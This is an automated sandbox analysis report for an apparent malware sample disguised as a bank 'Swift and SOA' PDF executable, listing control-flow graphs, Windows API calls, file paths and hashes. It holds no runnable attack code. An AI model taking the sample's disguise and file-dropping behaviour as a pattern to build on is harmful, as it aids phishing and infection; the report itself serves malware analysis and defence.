237 405036 235->237 236->226 237->236
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,000003F9), ref: 00404B28
                                                                                                            • GetDlgItem.USER32(?,00000408), ref: 00404B33
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
                                                                                                            • LoadBitmapW.USER32(0000006E), ref: 00404B90
                                                                                                            • SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
                                                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
                                                                                                            • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
                                                                                                            • SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
                                                                                                            • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
                                                                                                            • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
                                                                                                            • DeleteObject.GDI32(00000000), ref: 00404C06
                                                                                                            • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
                                                                                                            • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
                                                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
                                                                                                            • SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
                                                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
                                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00404D41
                                                                                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
                                                                                                            • ShowWindow.USER32(?,00000005), ref: 00404D60
                                                                                                            • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
                                                                                                            • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
                                                                                                            • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
                                                                                                            • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
                                                                                                            • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
                                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 00404F30
                                                                                                            • GlobalFree.KERNEL32(?), ref: 00404F40
                                                                                                            • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
                                                                                                            • SendMessageW.USER32(?,00001102,?,?), ref: 00405062
                                                                                                            • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
                                                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
                                                                                                            • ShowWindow.USER32(?,00000000), ref: 004050DF
                                                                                                            • GetDlgItem.USER32(?,000003FE), ref: 004050EA
                                                                                                            • ShowWindow.USER32(00000000), ref: 004050F1
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                                            • String ID: $M$N
                                                                                                            • API String ID: 1638840714-813528018
                                                                                                            • Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
                                                                                                            • Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
                                                                                                            • Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
                                                                                                            • Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 483 405f0c-405f17 484 405f19-405f28 483->484 485 405f2a-405f40 483->485 484->485 486 405f46-405f53 485->486 487 406158-40615e 485->487 486->487 488 405f59-405f60 486->488 489 406164-40616f 487->489 490 405f65-405f72 487->490 488->487 492 406171-406175 call 405eea 489->492 493 40617a-40617b 489->493 490->489 491 405f78-405f84 490->491 494 406145 491->494 495 405f8a-405fc6 491->495 492->493 497 406153-406156 494->497 498 406147-406151 494->498 499 4060e6-4060ea 495->499 500 405fcc-405fd7 GetVersion 495->500 497->487 498->487 503 4060ec-4060f0 499->503 504 40611f-406123 499->504 501 405ff1 500->501 502 405fd9-405fdd 500->502 510 405ff8-405fff 501->510 502->501 507 405fdf-405fe3 502->507 508 406100-40610d call 405eea 503->508 509 4060f2-4060fe call 405e31 503->509 505 406132-406143 lstrlenW 504->505 506 406125-40612d call 405f0c 504->506 505->487 506->505 507->501 513 405fe5-405fe9 507->513 517 406112-40611b 508->517 509->517 515 406001-406003 510->515 516 406004-406006 510->516 513->501 520 405feb-405fef 513->520 515->516 518 406042-406045 516->518 519 406008-40602e call 405db7 516->519 517->505 522 40611d 517->522 524 406055-406058 518->524 525 406047-406053 GetSystemDirectoryW 518->525 531 406034-40603d call 405f0c 519->531 532 4060cd-4060d1 519->532 520->510 526 4060de-4060e4 call 40617e 522->526 529 4060c3-4060c5 524->529 530 40605a-406068 GetWindowsDirectoryW 524->530 528 4060c7-4060cb 525->528 526->505 528->526 528->532 529->528 533 40606a-406074 529->533 530->529 531->528 532->526 536 4060d3-4060d9 lstrcatW 532->536 538 406076-406079 533->538 539 40608e-4060a4 SHGetSpecialFolderLocation 533->539 536->526 538->539 543 40607b-406082 538->543 540 4060a6-4060bd SHGetPathFromIDListW CoTaskMemFree 539->540 541 4060bf 539->541 540->528 540->541 541->529 544 40608a-40608c 543->544 544->528 544->539
                                                                                                            APIs
                                                                                                            • GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
                                                                                                            • GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
                                                                                                            • GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
                                                                                                            • SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
                                                                                                            • SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
                                                                                                            • CoTaskMemFree.OLE32(?), ref: 004060B5
                                                                                                            • lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
                                                                                                            • lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                                                                            • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                                                            • API String ID: 900638850-1230650788
                                                                                                            • Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
                                                                                                            • Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
                                                                                                            • Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
                                                                                                            • Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 545 405772-405798 call 405a3d 548 4057b1-4057b8 545->548 549 40579a-4057ac DeleteFileW 545->549 551 4057ba-4057bc 548->551 552 4057cb-4057db call 405eea 548->552 550 40592e-405932 549->550 553 4057c2-4057c5 551->553 554 4058dc-4058e1 551->554 558 4057ea-4057eb call 405981 552->558 559 4057dd-4057e8 lstrcatW 552->559 553->552 553->554 554->550 557 4058e3-4058e6 554->557 560 4058f0-4058f8 call 40622d 557->560 561 4058e8-4058ee 557->561 562 4057f0-4057f4 558->562 559->562 560->550 568 4058fa-40590e call 405935 call 40572a 560->568 561->550 565 405800-405806 lstrcatW 562->565 566 4057f6-4057fe 562->566 569 40580b-405827 lstrlenW FindFirstFileW 565->569 566->565 566->569 585 405910-405913 568->585 586 405926-405929 call 405194 568->586 571 4058d1-4058d5 569->571 572 40582d-405835 569->572 571->554 576 4058d7 571->576 573 405855-405869 call 405eea 572->573 574 405837-40583f 572->574 587 405880-40588b call 40572a 573->587 588 40586b-405873 573->588 577 405841-405849 574->577 578 4058b4-4058c4 FindNextFileW 574->578 576->554 577->573 581 40584b-405853 577->581 578->572 584 4058ca-4058cb FindClose 578->584 581->573 581->578 584->571 585->561 589 405915-405924 call 405194 call 405d84 585->589 586->550 598 4058ac-4058af call 405194 587->598 599 40588d-405890 587->599 588->578 590 405875-40587e call 405772 588->590 589->550 590->578 598->578 602 405892-4058a2 call 405194 call 405d84 599->602 603 4058a4-4058aa 599->603 602->578 603->578
                                                                                                            APIs
                                                                                                            • DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 0040579B
                                                                                                            • lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 004057E3
                                                                                                            • lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 00405806
                                                                                                            • lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 0040580C
                                                                                                            • FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 0040581C
                                                                                                            • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
                                                                                                            • FindClose.KERNEL32(00000000), ref: 004058CB
                                                                                                            Strings
                                                                                                            • C:\Users\user\AppData\Local\Temp\, xrefs: 00405780
                                                                                                            • "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe", xrefs: 0040577B
                                                                                                            • \*.*, xrefs: 004057DD
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                                            • String ID: "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
                                                                                                            • API String ID: 2035342205-3000113693
                                                                                                            • Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
                                                                                                            • Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
                                                                                                            • Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
                                                                                                            • Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
                                                                                                            • Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
                                                                                                            • Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
                                                                                                            • Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44
                                                                                                            APIs
                                                                                                            • FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,75922EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,75922EE0), ref: 00406238
                                                                                                            • FindClose.KERNEL32(00000000), ref: 00406244
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Find$CloseFileFirst
                                                                                                            • String ID: WB
                                                                                                            • API String ID: 2295610775-2854515933
                                                                                                            • Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
                                                                                                            • Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
                                                                                                            • Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
                                                                                                            • Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD
                                                                                                            APIs
                                                                                                            • GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
                                                                                                            • LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
                                                                                                            • GetProcAddress.KERNEL32(00000000,?), ref: 00406282
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: AddressHandleLibraryLoadModuleProc
                                                                                                            • String ID:
                                                                                                            • API String ID: 310444273-0
                                                                                                            • Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
                                                                                                            • Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
                                                                                                            • Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
                                                                                                            • Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9
                                                                                                            APIs
                                                                                                            • CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD
                                                                                                            Strings
                                                                                                            • C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004020FB
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CreateInstance
                                                                                                            • String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet
                                                                                                            • API String ID: 542301482-35342823
                                                                                                            • Opcode ID: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
                                                                                                            • Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
                                                                                                            • Opcode Fuzzy Hash: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
                                                                                                            • Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 238 4038b4-4038cc call 406254 241 4038e0-403917 call 405db7 238->241 242 4038ce-4038de call 405e31 238->242 247 403919-40392a call 405db7 241->247 248 40392f-403935 lstrcatW 241->248 251 40393a-403963 call 403b8a call 405a3d 242->251 247->248 248->251 256 4039f5-4039fd call 405a3d 251->256 257 403969-40396e 251->257 263 403a0b-403a30 LoadImageW 256->263 264 4039ff-403a06 call 405f0c 256->264 257->256 259 403974-40399c call 405db7 257->259 259->256 265 40399e-4039a2 259->265 267 403ab1-403ab9 call 40140b 263->267 268 403a32-403a62 RegisterClassW 263->268 264->263 269 4039b4-4039c0 lstrlenW 265->269 270 4039a4-4039b1 call 405962 265->270 281 403ac3-403ace call 403b8a 267->281 282 403abb-403abe 267->282 271 403b80 268->271 272 403a68-403aac SystemParametersInfoW CreateWindowExW 268->272 276 4039c2-4039d0 lstrcmpiW 269->276 277 4039e8-4039f0 call 405935 call 405eea 269->277 270->269 274 403b82-403b89 271->274 272->267 276->277 280 4039d2-4039dc GetFileAttributesW 276->280 277->256 284 4039e2-4039e3 call 405981 280->284 285 4039de-4039e0 280->285 291 403ad4-403af1 ShowWindow LoadLibraryW 281->291 292 403b57-403b5f call 405267 281->292 282->274 284->277 285->277 285->284 294 403af3-403af8 LoadLibraryW 291->294 295 403afa-403b0c GetClassInfoW 291->295 300 403b61-403b67 292->300 301 403b79-403b7b call 40140b 292->301 294->295 296 403b24-403b47 DialogBoxParamW call 40140b 295->296 297 403b0e-403b1e GetClassInfoW RegisterClassW 295->297 302 403b4c-403b55 call 403804 296->302 297->296 300->282 303 403b6d-403b74 call 40140b 300->303 301->271 302->274 303->282
                                                                                                            APIs
                                                                                                              • Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
                                                                                                              • Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
                                                                                                              • Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282
                                                                                                            • lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\,75923420,00000000,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 00403935
                                                                                                            • lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004039B5
                                                                                                            • lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
                                                                                                            • GetFileAttributesW.KERNEL32(Call), ref: 004039D3
                                                                                                            • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet), ref: 00403A1C
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            • RegisterClassW.USER32(00428180), ref: 00403A59
                                                                                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
                                                                                                            • CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
                                                                                                            • ShowWindow.USER32(00000005,00000000), ref: 00403ADC
                                                                                                            • LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
                                                                                                            • LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
                                                                                                            • GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
                                                                                                            • GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
                                                                                                            • RegisterClassW.USER32(00428180), ref: 00403B1E
                                                                                                            • DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
